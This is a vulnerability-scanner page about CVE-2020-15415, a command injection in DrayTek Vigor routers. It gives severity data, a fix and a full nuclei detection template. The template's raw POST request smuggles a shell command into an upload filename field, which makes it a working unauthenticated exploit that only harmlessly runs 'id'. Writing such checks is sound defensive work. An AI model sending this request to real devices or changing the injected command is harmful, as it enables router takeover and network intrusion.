DrayTek Vigor - Command Injection

Exploited in the wild. Listed by CISA on 2024-09-30; known to be used by ransomware.

criticalseverity

9.8CVSS score

84.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.

Impact

Unauthenticated attackers can execute arbitrary system commands on DrayTek Vigor devices via the cvmcfgupload endpoint, leading to complete device compromise and potential network infiltration.

Fix

Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.

How to confirm it

Send: POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2
Positive when: regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) and contains(header, 'DWS') and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-15415 -u <target>

The full check

id: CVE-2020-15415

info:
  name: DrayTek Vigor - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands on DrayTek Vigor devices via the cvmcfgupload endpoint, leading to complete device compromise and potential network infiltration.
  remediation: |
    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
  reference:
    - https://github.com/CLP-team/Vigor-Commond-Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-15415
    cwe-id: CWE-78
    epss-score: 0.8448
    epss-percentile: 0.99704
    cpe: cpe:2.3:h:draytek:vigor:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: draytek
    product: vigor
    fofa-query: '"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"'
  tags: cve,cve2020,draytek,rce,router,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
        Content-Type: text/x-python-script


        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from